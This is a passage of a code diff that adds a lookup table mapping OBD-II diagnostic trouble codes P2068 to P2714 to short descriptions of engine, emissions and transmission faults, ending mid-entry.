"P2068" => "Fuel Level Sensor 'B' Circuit High", + "P2069" => "Fuel Level Sensor 'B' Circuit Intermittent", + "P2070" => "Intake Manifold Tuning (IMT) Valve Stuck Open", + "P2071" => "Intake Manifold Tuning (IMT) Valve Stuck Closed", + "P2075" => "Intake Manifold Tuning (IMT) Valve Position Sensor/Switch Circuit", + "P2076" => "Intake Manifold Tuning (IMT) Valve Position Sensor/Switch Circuit Range/Performance", + "P2077" => "Intake Manifold Tuning (IMT) Valve Position Sensor/Switch Circuit Low", + "P2078" => "Intake Manifold Tuning (IMT) Valve Position Sensor/Switch Circuit High", + "P2079" => "Intake Manifold Tuning (IMT) Valve Position Sensor/Switch Circuit Intermittent", + "P2080" => "Exhaust Gas Temperature Sensor Circuit Range/Performance", + "P2081" => "Exhaust Gas Temperature Sensor Circuit Intermittent", + "P2082" => "Exhaust Gas Temperature Sensor Circuit Range/Performance", + "P2083" => "Exhaust Gas Temperature Sensor Circuit Intermittent", + "P2084" => "Exhaust Gas Temperature Sensor Circuit Range/Performance", + "P2085" => "Exhaust Gas Temperature Sensor Circuit Intermittent", + "P2086" => "Exhaust Gas Temperature Sensor Circuit Range/Performance", + "P2087" => "Exhaust Gas Temperature Sensor Circuit Intermittent", + "P2088" => "'A' Camshaft Position Actuator Control Circuit Low", + "P2089" => "'A' Camshaft Position Actuator Control Circuit High", + "P2090" => "'B' Camshaft Position Actuator Control Circuit Low", + "P2091" => "'B' Camshaft Position Actuator Control Circuit High", + "P2092" => "'A' Camshaft Position Actuator Control Circuit Low", + "P2093" => "'A' Camshaft Position Actuator Control Circuit High", + "P2094" => "'B' Camshaft Position Actuator Control Circuit Low", + "P2095" => "'B' Camshaft Position Actuator Control Circuit High", + "P2096" => "Post Catalyst Fuel Trim System Too Lean", + "P2097" => "Post Catalyst Fuel Trim System Too Rich", + "P2098" => "Post Catalyst Fuel Trim System Too Lean", + "P2099" => "Post Catalyst Fuel Trim System Too Rich", + "P2100" => "Throttle Actuator Control Motor Circuit/Open", + "P2101" => "Throttle Actuator Control Motor Circuit Range/Performance", + "P2102" => "Throttle Actuator Control Motor Circuit Low", + "P2103" => "Throttle Actuator Control Motor Circuit High", + "P2104" => "Throttle Actuator Control System - Forced Idle", + "P2105" => "Throttle Actuator Control System - Forced Engine Shutdown", + "P2106" => "Throttle Actuator Control System - Forced Limited Power", + "P2107" => "Throttle Actuator Control Module Processor", + "P2108" => "Throttle Actuator Control Module Performance", + "P2109" => "Throttle/Pedal Position Sensor 'A' Minimum Stop Performance", + "P2110" => "Throttle Actuator Control System - Forced Limited RPM", + "P2111" => "Throttle Actuator Control System - Stuck Open", + "P2112" => "Throttle Actuator Control System - Stuck Closed", + "P2113" => "Throttle/Pedal Position Sensor 'B' Minimum Stop Performance", + "P2114" => "Throttle/Pedal Position Sensor 'C' Minimum Stop Performance", + "P2115" => "Throttle/Pedal Position Sensor 'D' Minimum Stop Performance", + "P2116" => "Throttle/Pedal Position Sensor 'E' Minimum Stop Performance", + "P2117" => "Throttle/Pedal Position Sensor 'F' Minimum Stop Performance", + "P2118" => "Throttle Actuator Control Motor Current Range/Performance", + "P2119" => "Throttle Actuator Control Throttle Body Range/Performance", + "P2120" => "Throttle/Pedal Position Sensor/Switch 'D' Circuit", + "P2121" => "Throttle/Pedal Position Sensor/Switch 'D' Circuit Range/Performance", + "P2122" => "Throttle/Pedal Position Sensor/Switch 'D' Circuit Low Input", + "P2123" => "Throttle/Pedal Position Sensor/Switch 'D' Circuit High Input", + "P2124" => "Throttle/Pedal Position Sensor/Switch 'D' Circuit Intermittent", + "P2125" => "Throttle/Pedal Position Sensor/Switch 'E' Circuit", + "P2126" => "Throttle/Pedal Position Sensor/Switch 'E' Circuit Range/Performance", + "P2127" => "Throttle/Pedal Position Sensor/Switch 'E' Circuit Low Input", + "P2128" => "Throttle/Pedal Position Sensor/Switch 'E' Circuit High Input", + "P2129" => "Throttle/Pedal Position Sensor/Switch 'E' Circuit Intermittent", + "P2130" => "Throttle/Pedal Position Sensor/Switch 'F' Circuit", + "P2131" => "Throttle/Pedal Position Sensor/Switch 'F' Circuit Range Performance", + "P2132" => "Throttle/Pedal Position Sensor/Switch 'F' Circuit Low Input", + "P2133" => "Throttle/Pedal Position Sensor/Switch 'F' Circuit High Input", + "P2134" => "Throttle/Pedal Position Sensor/Switch 'F' Circuit Intermittent", + "P2135" => "Throttle/Pedal Position Sensor/Switch 'A' / 'B' Voltage Correlation", + "P2136" => "Throttle/Pedal Position Sensor/Switch 'A' / 'C' Voltage Correlation", + "P2137" => "Throttle/Pedal Position Sensor/Switch 'B' / 'C' Voltage Correlation", + "P2138" => "Throttle/Pedal Position Sensor/Switch 'D' / 'E' Voltage Correlation", + "P2139" => "Throttle/Pedal Position Sensor/Switch 'D' / 'F' Voltage Correlation", + "P2140" => "Throttle/Pedal Position Sensor/Switch 'E' / 'F' Voltage Correlation", + "P2141" => "Exhaust Gas Recirculation Throttle Control Circuit Low", + "P2142" => "Exhaust Gas Recirculation Throttle Control Circuit High", + "P2143" => "Exhaust Gas Recirculation Vent Control Circuit/Open", + "P2144" => "Exhaust Gas Recirculation Vent Control Circuit Low", + "P2145" => "Exhaust Gas Recirculation Vent Control Circuit High", + "P2146" => "Fuel Injector Group 'A' Supply Voltage Circuit/Open", + "P2147" => "Fuel Injector Group 'A' Supply Voltage Circuit Low", + "P2148" => "Fuel Injector Group 'A' Supply Voltage Circuit High", + "P2149" => "Fuel Injector Group 'B' Supply Voltage Circuit/Open", + "P2150" => "Fuel Injector Group 'B' Supply Voltage Circuit Low", + "P2151" => "Fuel Injector Group 'B' Supply Voltage Circuit High", + "P2152" => "Fuel Injector Group 'C' Supply Voltage Circuit/Open", + "P2153" => "Fuel Injector Group 'C' Supply Voltage Circuit Low", + "P2154" => "Fuel Injector Group 'C' Supply Voltage Circuit High", + "P2155" => "Fuel Injector Group 'D' Supply Voltage Circuit/Open", + "P2156" => "Fuel Injector Group 'D' Supply Voltage Circuit Low", + "P2157" => "Fuel Injector Group 'D' Supply Voltage Circuit High", + "P2158" => "Vehicle Speed Sensor 'B'", + "P2159" => "Vehicle Speed Sensor 'B' Range/Performance", + "P2160" => "Vehicle Speed Sensor 'B' Circuit Low", + "P2161" => "Vehicle Speed Sensor 'B' Intermittent/Erratic", + "P2162" => "Vehicle Speed Sensor 'A' / 'B' Correlation", + "P2163" => "Throttle/Pedal Position Sensor 'A' Maximum Stop Performance", + "P2164" => "Throttle/Pedal Position Sensor 'B' Maximum Stop Performance", + "P2165" => "Throttle/Pedal Position Sensor 'C' Maximum Stop Performance", + "P2166" => "Throttle/Pedal Position Sensor 'D' Maximum Stop Performance", + "P2167" => "Throttle/Pedal Position Sensor 'E' Maximum Stop Performance", + "P2168" => "Throttle/Pedal Position Sensor 'F' Maximum Stop Performance", + "P2169" => "Exhaust Pressure Regulator Vent Solenoid Control Circuit/Open", + "P2170" => "Exhaust Pressure Regulator Vent Solenoid Control Circuit Low", + "P2171" => "Exhaust Pressure Regulator Vent Solenoid Control Circuit High", + "P2172" => "Throttle Actuator Control System - Sudden High Airflow Detected", + "P2173" => "Throttle Actuator Control System - High Airflow Detected", + "P2174" => "Throttle Actuator Control System - Sudden Low Airflow Detected", + "P2175" => "Throttle Actuator Control System - Low Airflow Detected", + "P2176" => "Throttle Actuator Control System - Idle Position Not Learned", + "P2177" => "System Too Lean Off Idle", + "P2178" => "System Too Rich Off Idle", + "P2179" => "System Too Lean Off Idle", + "P2180" => "System Too Rich Off Idle", + "P2181" => "Cooling System Performance", + "P2182" => "Engine Coolant Temperature Sensor 2 Circuit", + "P2183" => "Engine Coolant Temperature Sensor 2 Circuit Range/Performance", + "P2184" => "Engine Coolant Temperature Sensor 2 Circuit Low", + "P2185" => "Engine Coolant Temperature Sensor 2 Circuit High", + "P2186" => "Engine Coolant Temperature Sensor 2 Circuit Intermittent/Erratic", + "P2187" => "System Too Lean at Idle", + "P2188" => "System Too Rich at Idle", + "P2189" => "System Too Lean at Idle", + "P2190" => "System Too Rich at Idle", + "P2191" => "System Too Lean at Higher Load", + "P2192" => "System Too Rich at Higher Load", + "P2193" => "System Too Lean at Higher Load", + "P2194" => "System Too Rich at Higher Load", + "P2195" => "O2 Sensor Signal Stuck Lean", + "P2196" => "O2 Sensor Signal Stuck Rich", + "P2197" => "O2 Sensor Signal Stuck Lean", + "P2198" => "O2 Sensor Signal Stuck Rich", + "P2199" => "Intake Air Temperature Sensor 1 / 2 Correlation", + "P2200" => "NOx Sensor Circuit", + "P2201" => "NOx Sensor Circuit Range/Performance", + "P2202" => "NOx Sensor Circuit Low Input", + "P2203" => "NOx Sensor Circuit High Input", + "P2204" => "NOx Sensor Circuit Intermittent Input", + "P2205" => "NOx Sensor Heater Control Circuit/Open", + "P2206" => "NOx Sensor Heater Control Circuit Low", + "P2207" => "NOx Sensor Heater Control Circuit High", + "P2208" => "NOx Sensor Heater Sense Circuit", + "P2209" => "NOx Sensor Heater Sense Circuit Range/Performance", + "P2210" => "NOx Sensor Heater Sense Circuit Low Input", + "P2211" => "NOx Sensor Heater Sense Circuit High Input", + "P2212" => "NOx Sensor Heater Sense Circuit Intermittent", + "P2213" => "NOx Sensor Circuit", + "P2214" => "NOx Sensor Circuit Range/Performance", + "P2215" => "NOx Sensor Circuit Low Input", + "P2216" => "NOx Sensor Circuit High Input", + "P2217" => "NOx Sensor Circuit Intermittent Input", + "P2218" => "NOx Sensor Heater Control Circuit/Open", + "P2219" => "NOx Sensor Heater Control Circuit Low", + "P2220" => "NOx Sensor Heater Control Circuit High", + "P2221" => "NOx Sensor Heater Sense Circuit", + "P2222" => "NOx Sensor Heater Sense Circuit Range/Performance", + "P2223" => "NOx Sensor Heater Sense Circuit Low", + "P2224" => "NOx Sensor Heater Sense Circuit High", + "P2225" => "NOx Sensor Heater Sense Circuit Intermittent", + "P2226" => "Barometric Pressure Circuit", + "P2227" => "Barometric Pressure Circuit Range/Performance", + "P2228" => "Barometric Pressure Circuit Low", + "P2229" => "Barometric Pressure Circuit High", + "P2230" => "Barometric Pressure Circuit Intermittent", + "P2231" => "O2 Sensor Signal Circuit Shorted to Heater Circuit", + "P2232" => "O2 Sensor Signal Circuit Shorted to Heater Circuit", + "P2233" => "O2 Sensor Signal Circuit Shorted to Heater Circuit", + "P2234" => "O2 Sensor Signal Circuit Shorted to Heater Circuit", + "P2235" => "O2 Sensor Signal Circuit Shorted to Heater Circuit", + "P2236" => "O2 Sensor Signal Circuit Shorted to Heater Circuit", + "P2237" => "O2 Sensor Positive Current Control Circuit/Open", + "P2238" => "O2 Sensor Positive Current Control Circuit Low", + "P2239" => "O2 Sensor Positive Current Control Circuit High", + "P2240" => "O2 Sensor Positive Current Control Circuit/Open", + "P2241" => "O2 Sensor Positive Current Control Circuit Low", + "P2242" => "O2 Sensor Positive Current Control Circuit High", + "P2243" => "O2 Sensor Reference Voltage Circuit/Open", + "P2244" => "O2 Sensor Reference Voltage Performance", + "P2245" => "O2 Sensor Reference Voltage Circuit Low", + "P2246" => "O2 Sensor Reference Voltage Circuit High", + "P2247" => "O2 Sensor Reference Voltage Circuit/Open", + "P2248" => "O2 Sensor Reference Voltage Performance", + "P2249" => "O2 Sensor Reference Voltage Circuit Low", + "P2250" => "O2 Sensor Reference Voltage Circuit High", + "P2251" => "O2 Sensor Negative Current Control Circuit/Open", + "P2252" => "O2 Sensor Negative Current Control Circuit Low", + "P2253" => "O2 Sensor Negative Current Control Circuit High", + "P2254" => "O2 Sensor Negative Current Control Circuit/Open", + "P2255" => "O2 Sensor Negative Current Control Circuit Low", + "P2256" => "O2 Sensor Negative Current Control Circuit High", + "P2257" => "Secondary Air Injection System Control 'A' Circuit Low", + "P2258" => "Secondary Air Injection System Control 'A' Circuit High", + "P2259" => "Secondary Air Injection System Control 'B' Circuit Low", + "P2260" => "Secondary Air Injection System Control 'B' Circuit High", + "P2261" => "Turbo/Super Charger Bypass Valve - Mechanical", + "P2262" => "Turbo Boost Pressure Not Detected - Mechanical", + "P2263" => "Turbo/Super Charger Boost System Performance", + "P2264" => "Water in Fuel Sensor Circuit", + "P2265" => "Water in Fuel Sensor Circuit Range/Performance", + "P2266" => "Water in Fuel Sensor Circuit Low", + "P2267" => "Water in Fuel Sensor Circuit High", + "P2268" => "Water in Fuel Sensor Circuit Intermittent", + "P2269" => "Water in Fuel Condition", + "P2270" => "O2 Sensor Signal Stuck Lean", + "P2271" => "O2 Sensor Signal Stuck Rich", + "P2272" => "O2 Sensor Signal Stuck Lean", + "P2273" => "O2 Sensor Signal Stuck Rich", + "P2274" => "O2 Sensor Signal Stuck Lean", + "P2275" => "O2 Sensor Signal Stuck Rich", + "P2276" => "O2 Sensor Signal Stuck Lean", + "P2277" => "O2 Sensor Signal Stuck Rich", + "P2278" => "O2 Sensor Signals Swapped Bank 1 Sensor 3 / Bank 2 Sensor 3", + "P2279" => "Intake Air System Leak", + "P2280" => "Air Flow Restriction / Air Leak Between Air Filter and MAF", + "P2281" => "Air Leak Between MAF and Throttle Body", + "P2282" => "Air Leak Between Throttle Body and Intake Valves", + "P2283" => "Injector Control Pressure Sensor Circuit", + "P2284" => "Injector Control Pressure Sensor Circuit Range/Performance", + "P2285" => "Injector Control Pressure Sensor Circuit Low", + "P2286" => "Injector Control Pressure Sensor Circuit High", + "P2287" => "Injector Control Pressure Sensor Circuit Intermittent", + "P2288" => "Injector Control Pressure Too High", + "P2289" => "Injector Control Pressure Too High - Engine Off", + "P2290" => "Injector Control Pressure Too Low", + "P2291" => "Injector Control Pressure Too Low - Engine Cranking", + "P2292" => "Injector Control Pressure Erratic", + "P2293" => "Fuel Pressure Regulator 2 Performance", + "P2294" => "Fuel Pressure Regulator 2 Control Circuit", + "P2295" => "Fuel Pressure Regulator 2 Control Circuit Low", + "P2296" => "Fuel Pressure Regulator 2 Control Circuit High", + "P2297" => "O2 Sensor Out of Range During Deceleration", + "P2298" => "O2 Sensor Out of Range During Deceleration", + "P2299" => "Brake Pedal Position / Accelerator Pedal Position Incompatible", + "P2300" => "Ignition Coil 'A' Primary Control Circuit Low", + "P2301" => "Ignition Coil 'A' Primary Control Circuit High", + "P2302" => "Ignition Coil 'A' Secondary Circuit", + "P2303" => "Ignition Coil 'B' Primary Control Circuit Low", + "P2304" => "Ignition Coil 'B' Primary Control Circuit High", + "P2305" => "Ignition Coil 'B' Secondary Circuit", + "P2306" => "Ignition Coil 'C' Primary Control Circuit Low", + "P2307" => "Ignition Coil 'C' Primary Control Circuit High", + "P2308" => "Ignition Coil 'C' Secondary Circuit", + "P2309" => "Ignition Coil 'D' Primary Control Circuit Low", + "P2310" => "Ignition Coil 'D' Primary Control Circuit High", + "P2311" => "Ignition Coil 'D' Secondary Circuit", + "P2312" => "Ignition Coil 'E' Primary Control Circuit Low", + "P2313" => "Ignition Coil 'E' Primary Control Circuit High", + "P2314" => "Ignition Coil 'E' Secondary Circuit", + "P2315" => "Ignition Coil 'F' Primary Control Circuit Low", + "P2316" => "Ignition Coil 'F' Primary Control Circuit High", + "P2317" => "Ignition Coil 'F' Secondary Circuit", + "P2318" => "Ignition Coil 'G' Primary Control Circuit Low", + "P2319" => "Ignition Coil 'G' Primary Control Circuit High", + "P2320" => "Ignition Coil 'G' Secondary Circuit", + "P2321" => "Ignition Coil 'H' Primary Control Circuit Low", + "P2322" => "Ignition Coil 'H' Primary Control Circuit High", + "P2323" => "Ignition Coil 'H' Secondary Circuit", + "P2324" => "Ignition Coil 'I' Primary Control Circuit Low", + "P2325" => "Ignition Coil 'I' Primary Control Circuit High", + "P2326" => "Ignition Coil 'I' Secondary Circuit", + "P2327" => "Ignition Coil 'J' Primary Control Circuit Low", + "P2328" => "Ignition Coil 'J' Primary Control Circuit High", + "P2329" => "Ignition Coil 'J' Secondary Circuit", + "P2330" => "Ignition Coil 'K' Primary Control Circuit Low", + "P2331" => "Ignition Coil 'K' Primary Control Circuit High", + "P2332" => "Ignition Coil 'K' Secondary Circuit", + "P2333" => "Ignition Coil 'L' Primary Control Circuit Low", + "P2334" => "Ignition Coil 'L' Primary Control Circuit High", + "P2335" => "Ignition Coil 'L' Secondary Circuit", + "P2336" => "Cylinder #1 Above Knock Threshold", + "P2337" => "Cylinder #2 Above Knock Threshold", + "P2338" => "Cylinder #3 Above Knock Threshold", + "P2339" => "Cylinder #4 Above Knock Threshold", + "P2340" => "Cylinder #5 Above Knock Threshold", + "P2341" => "Cylinder #6 Above Knock Threshold", + "P2342" => "Cylinder #7 Above Knock Threshold", + "P2343" => "Cylinder #8 Above Knock Threshold", + "P2344" => "Cylinder #9 Above Knock Threshold", + "P2345" => "Cylinder #10 Above Knock Threshold", + "P2346" => "Cylinder #11 Above Knock Threshold", + "P2347" => "Cylinder #12 Above Knock Threshold", + "P2400" => "Evaporative Emission System Leak Detection Pump Control Circuit/Open", + "P2401" => "Evaporative Emission System Leak Detection Pump Control Circuit Low", + "P2402" => "Evaporative Emission System Leak Detection Pump Control Circuit High", + "P2403" => "Evaporative Emission System Leak Detection Pump Sense Circuit/Open", + "P2404" => "Evaporative Emission System Leak Detection Pump Sense Circuit Range/Performance", + "P2405" => "Evaporative Emission System Leak Detection Pump Sense Circuit Low", + "P2406" => "Evaporative Emission System Leak Detection Pump Sense Circuit High", + "P2407" => "Evaporative Emission System Leak Detection Pump Sense Circuit Intermittent/Erratic", + "P2408" => "Fuel Cap Sensor/Switch Circuit", + "P2409" => "Fuel Cap Sensor/Switch Circuit Range/Performance", + "P2410" => "Fuel Cap Sensor/Switch Circuit Low", + "P2411" => "Fuel Cap Sensor/Switch Circuit High", + "P2412" => "Fuel Cap Sensor/Switch Circuit Intermittent/Erratic", + "P2413" => "Exhaust Gas Recirculation System Performance", + "P2414" => "O2 Sensor Exhaust Sample Error", + "P2415" => "O2 Sensor Exhaust Sample Error", + "P2416" => "O2 Sensor Signals Swapped Bank 1 Sensor 2 / Bank 1 Sensor 3", + "P2417" => "O2 Sensor Signals Swapped Bank 2 Sensor 2 / Bank 2 Sensor 3", + "P2418" => "Evaporative Emission System Switching Valve Control Circuit / Open", + "P2419" => "Evaporative Emission System Switching Valve Control Circuit Low", + "P2420" => "Evaporative Emission System Switching Valve Control Circuit High", + "P2421" => "Evaporative Emission System Vent Valve Stuck Open", + "P2422" => "Evaporative Emission System Vent Valve Stuck Closed", + "P2423" => "HC Adsorption Catalyst Efficiency Below Threshold", + "P2424" => "HC Adsorption Catalyst Efficiency Below Threshold", + "P2425" => "Exhaust Gas Recirculation Cooling Valve Control Circuit/Open", + "P2426" => "Exhaust Gas Recirculation Cooling Valve Control Circuit Low", + "P2427" => "Exhaust Gas Recirculation Cooling Valve Control Circuit High", + "P2428" => "Exhaust Gas Temperature Too High", + "P2429" => "Exhaust Gas Temperature Too High", + "P2430" => "Secondary Air Injection System Air Flow/Pressure Sensor Circuit", + "P2431" => "Secondary Air Injection System Air Flow/Pressure Sensor Circuit Range/Performance", + "P2432" => "Secondary Air Injection System Air Flow/Pressure Sensor Circuit Low", + "P2433" => "Secondary Air Injection System Air Flow/Pressure Sensor Circuit High", + "P2434" => "Secondary Air Injection System Air Flow/Pressure Sensor Circuit Intermittent/Erratic", + "P2435" => "Secondary Air Injection System Air Flow/Pressure Sensor Circuit", + "P2436" => "Secondary Air Injection System Air Flow/Pressure Sensor Circuit Range/Performance", + "P2437" => "Secondary Air Injection System Air Flow/Pressure Sensor Circuit Low", + "P2438" => "Secondary Air Injection System Air Flow/Pressure Sensor Circuit High", + "P2439" => "Secondary Air Injection System Air Flow/Pressure Sensor Circuit Intermittent/Erratic", + "P2440" => "Secondary Air Injection System Switching Valve Stuck Open", + "P2441" => "Secondary Air Injection System Switching Valve Stuck Closed", + "P2442" => "Secondary Air Injection System Switching Valve Stuck Open", + "P2443" => "Secondary Air Injection System Switching Valve Stuck Closed", + "P2444" => "Secondary Air Injection System Pump Stuck On", + "P2445" => "Secondary Air Injection System Pump Stuck Off", + "P2446" => "Secondary Air Injection System Pump Stuck On", + "P2447" => "Secondary Air Injection System Pump Stuck Off", + "P2500" => "Generator Lamp/L-Terminal Circuit Low", + "P2501" => "Generator Lamp/L-Terminal Circuit High", + "P2502" => "Charging System Voltage", + "P2503" => "Charging System Voltage Low", + "P2504" => "Charging System Voltage High", + "P2505" => "ECM/PCM Power Input Signal", + "P2506" => "ECM/PCM Power Input Signal Range/Performance", + "P2507" => "ECM/PCM Power Input Signal Low", + "P2508" => "ECM/PCM Power Input Signal High", + "P2509" => "ECM/PCM Power Input Signal Intermittent", + "P2510" => "ECM/PCM Power Relay Sense Circuit Range/Performance", + "P2511" => "ECM/PCM Power Relay Sense Circuit Intermittent", + "P2512" => "Event Data Recorder Request Circuit/ Open", + "P2513" => "Event Data Recorder Request Circuit Low", + "P2514" => "Event Data Recorder Request Circuit High", + "P2515" => "A/C Refrigerant Pressure Sensor 'B' Circuit", + "P2516" => "A/C Refrigerant Pressure Sensor 'B' Circuit Range/Performance", + "P2517" => "A/C Refrigerant Pressure Sensor 'B' Circuit Low", + "P2518" => "A/C Refrigerant Pressure Sensor 'B' Circuit High", + "P2519" => "A/C Request 'A' Circuit", + "P2520" => "A/C Request 'A' Circuit Low", + "P2521" => "A/C Request 'A' Circuit High", + "P2522" => "A/C Request 'B' Circuit", + "P2523" => "A/C Request 'B' Circuit Low", + "P2524" => "A/C Request 'B' Circuit High", + "P2525" => "Vacuum Reservoir Pressure Sensor Circuit", + "P2526" => "Vacuum Reservoir Pressure Sensor Circuit Range/Performance", + "P2527" => "Vacuum Reservoir Pressure Sensor Circuit Low", + "P2528" => "Vacuum Reservoir Pressure Sensor Circuit High", + "P2529" => "Vacuum Reservoir Pressure Sensor Circuit Intermittent", + "P2530" => "Ignition Switch Run Position Circuit", + "P2531" => "Ignition Switch Run Position Circuit Low", + "P2532" => "Ignition Switch Run Position Circuit High", + "P2533" => "Ignition Switch Run/Start Position Circuit", + "P2534" => "Ignition Switch Run/Start Position Circuit Low", + "P2535" => "Ignition Switch Run/Start Position Circuit High", + "P2536" => "Ignition Switch Accessory Position Circuit", + "P2537" => "Ignition Switch Accessory Position Circuit Low", + "P2538" => "Ignition Switch Accessory Position Circuit High", + "P2539" => "Low Pressure Fuel System Sensor Circuit", + "P2540" => "Low Pressure Fuel System Sensor Circuit Range/Performance", + "P2541" => "Low Pressure Fuel System Sensor Circuit Low", + "P2542" => "Low Pressure Fuel System Sensor Circuit High", + "P2543" => "Low Pressure Fuel System Sensor Circuit Intermittent", + "P2544" => "Torque Management Request Input Signal 'A'", + "P2545" => "Torque Management Request Input Signal 'A' Range/Performance", + "P2546" => "Torque Management Request Input Signal 'A' Low", + "P2547" => "Torque Management Request Input Signal 'A' High", + "P2548" => "Torque Management Request Input Signal 'B'", + "P2549" => "Torque Management Request Input Signal 'B' Range/Performance", + "P2550" => "Torque Management Request Input Signal 'B' Low", + "P2551" => "Torque Management Request Input Signal 'B' High", + "P2552" => "Throttle/Fuel Inhibit Circuit", + "P2553" => "Throttle/Fuel Inhibit Circuit Range/Performance", + "P2554" => "Throttle/Fuel Inhibit Circuit Low", + "P2555" => "Throttle/Fuel Inhibit Circuit High", + "P2556" => "Engine Coolant Level Sensor/Switch Circuit", + "P2557" => "Engine Coolant Level Sensor/Switch Circuit Range/Performance", + "P2558" => "Engine Coolant Level Sensor/Switch Circuit Low", + "P2559" => "Engine Coolant Level Sensor/Switch Circuit High", + "P2560" => "Engine Coolant Level Low", + "P2561" => "A/C Control Module Requested MIL Illumination", + "P2562" => "Turbocharger Boost Control Position Sensor Circuit", + "P2563" => "Turbocharger Boost Control Position Sensor Circuit Range/Performance", + "P2564" => "Turbocharger Boost Control Position Sensor Circuit Low", + "P2565" => "Turbocharger Boost Control Position Sensor Circuit High", + "P2566" => "Turbocharger Boost Control Position Sensor Circuit Intermittent", + "P2567" => "Direct Ozone Reduction Catalyst Temperature Sensor Circuit", + "P2568" => "Direct Ozone Reduction Catalyst Temperature Sensor Circuit Range/Performance", + "P2569" => "Direct Ozone Reduction Catalyst Temperature Sensor Circuit Low", + "P2570" => "Direct Ozone Reduction Catalyst Temperature Sensor Circuit High", + "P2571" => "Direct Ozone Reduction Catalyst Temperature Sensor Circuit Intermittent/Erratic", + "P2572" => "Direct Ozone Reduction Catalyst Deterioration Sensor Circuit", + "P2573" => "Direct Ozone Reduction Catalyst Deterioration Sensor Circuit Range/Performance", + "P2574" => "Direct Ozone Reduction Catalyst Deterioration Sensor Circuit Low", + "P2575" => "Direct Ozone Reduction Catalyst Deterioration Sensor Circuit High", + "P2576" => "Direct Ozone Reduction Catalyst Deterioration Sensor Circuit Intermittent/Erratic", + "P2577" => "Direct Ozone Reduction Catalyst Efficiency Below Threshold", + "P2600" => "Coolant Pump Control Circuit/Open", + "P2601" => "Coolant Pump Control Circuit Range/Performance", + "P2602" => "Coolant Pump Control Circuit Low", + "P2603" => "Coolant Pump Control Circuit High", + "P2604" => "Intake Air Heater 'A' Circuit Range/Performance", + "P2605" => "Intake Air Heater 'A' Circuit/Open", + "P2606" => "Intake Air Heater 'B' Circuit Range/Performance", + "P2607" => "Intake Air Heater 'B' Circuit Low", + "P2608" => "Intake Air Heater 'B' Circuit High", + "P2609" => "Intake Air Heater System Performance", + "P2610" => "ECM/PCM Internal Engine Off Timer Performance", + "P2611" => "A/C Refrigerant Distribution Valve Control Circuit/Open", + "P2612" => "A/C Refrigerant Distribution Valve Control Circuit Low", + "P2613" => "A/C Refrigerant Distribution Valve Control Circuit High", + "P2614" => "Camshaft Position Signal Output Circuit/Open", + "P2615" => "Camshaft Position Signal Output Circuit Low", + "P2616" => "Camshaft Position Signal Output Circuit High", + "P2617" => "Crankshaft Position Signal Output Circuit/Open", + "P2618" => "Crankshaft Position Signal Output Circuit Low", + "P2619" => "Crankshaft Position Signal Output Circuit High", + "P2620" => "Throttle Position Output Circuit/Open", + "P2621" => "Throttle Position Output Circuit Low", + "P2622" => "Throttle Position Output Circuit High", + "P2623" => "Injector Control Pressure Regulator Circuit/Open", + "P2624" => "Injector Control Pressure Regulator Circuit Low", + "P2625" => "Injector Control Pressure Regulator Circuit High", + "P2626" => "O2 Sensor Pumping Current Trim Circuit/Open", + "P2627" => "O2 Sensor Pumping Current Trim Circuit Low", + "P2628" => "O2 Sensor Pumping Current Trim Circuit High", + "P2629" => "O2 Sensor Pumping Current Trim Circuit/Open", + "P2630" => "O2 Sensor Pumping Current Trim Circuit Low", + "P2631" => "O2 Sensor Pumping Current Trim Circuit High", + "P2632" => "Fuel Pump 'B' Control Circuit /Open", + "P2633" => "Fuel Pump 'B' Control Circuit Low", + "P2634" => "Fuel Pump 'B' Control Circuit High", + "P2635" => "Fuel Pump 'A' Low Flow / Performance", + "P2636" => "Fuel Pump 'B' Low Flow / Performance", + "P2637" => "Torque Management Feedback Signal 'A'", + "P2638" => "Torque Management Feedback Signal 'A' Range/Performance", + "P2639" => "Torque Management Feedback Signal 'A' Low", + "P2640" => "Torque Management Feedback Signal 'A' High", + "P2641" => "Torque Management Feedback Signal 'B'", + "P2642" => "Torque Management Feedback Signal 'B' Range/Performance", + "P2643" => "Torque Management Feedback Signal 'B' Low", + "P2644" => "Torque Management Feedback Signal 'B' High", + "P2645" => "'A' Rocker Arm Actuator Control Circuit/Open", + "P2646" => "'A' Rocker Arm Actuator System Performance or Stuck Off", + "P2647" => "'A' Rocker Arm Actuator System Stuck On", + "P2648" => "'A' Rocker Arm Actuator Control Circuit Low", + "P2649" => "'A' Rocker Arm Actuator Control Circuit High", + "P2650" => "'B' Rocker Arm Actuator Control Circuit/Open", + "P2651" => "'B' Rocker Arm Actuator System Performance or Stuck Off", + "P2652" => "'B' Rocker Arm Actuator System Stuck On", + "P2653" => "'B' Rocker Arm Actuator Control Circuit Low", + "P2654" => "'B' Rocker Arm Actuator Control Circuit High", + "P2655" => "'A' Rocker Arm Actuator Control Circuit/Open", + "P2656" => "'A' Rocker Arm Actuator System Performance or Stuck Off", + "P2657" => "'A' Rocker Arm Actuator System Stuck On", + "P2658" => "'A' Rocker Arm Actuator Control Circuit Low", + "P2659" => "'A' Rocker Arm Actuator Control Circuit High", + "P2660" => "'B' Rocker Arm Actuator Control Circuit/Open", + "P2661" => "'B' Rocker Arm Actuator System Performance or Stuck Off", + "P2662" => "'B' Rocker Arm Actuator System Stuck On", + "P2663" => "'B' Rocker Arm Actuator Control Circuit Low", + "P2664" => "'B' Rocker Arm Actuator Control Circuit High", + "P2665" => "Fuel Shutoff Valve 'B' Control Circuit/Open", + "P2666" => "Fuel Shutoff Valve 'B' Control Circuit Low", + "P2667" => "Fuel Shutoff Valve 'B' Control Circuit High", + "P2668" => "Fuel Mode Indicator Lamp Control Circuit", + "P2669" => "Actuator Supply Voltage 'B' Circuit /Open", + "P2670" => "Actuator Supply Voltage 'B' Circuit Low", + "P2671" => "Actuator Supply Voltage 'B' Circuit High", + "P2700" => "Transmission Friction Element 'A' Apply Time Range/Performance", + "P2701" => "Transmission Friction Element 'B' Apply Time Range/Performance", + "P2702" => "Transmission Friction Element 'C' Apply Time Range/Performance", + "P2703" => "Transmission Friction Element 'D' Apply Time Range/Performance", + "P2704" => "Transmission Friction Element 'E' Apply Time Range/Performance", + "P2705" => "Transmission Friction Element 'F' Apply Time Range/Performance", + "P2706" => "Shift Solenoid 'F'", + "P2707" => "Shift Solenoid 'F' Performance or Stuck Off", + "P2708" => "Shift Solenoid 'F' Stuck On", + "P2709" => "Shift Solenoid 'F' Electrical", + "P2710" => "Shift Solenoid 'F' Intermittent", + "P2711" => "Unexpected Mechanical Gear Disengagement", + "P2712" => "Hydraulic Power Unit Leakage", + "P2713" => "Pressure Control Solenoid 'D'", + "P2714" => "Pressure Control Solenoid 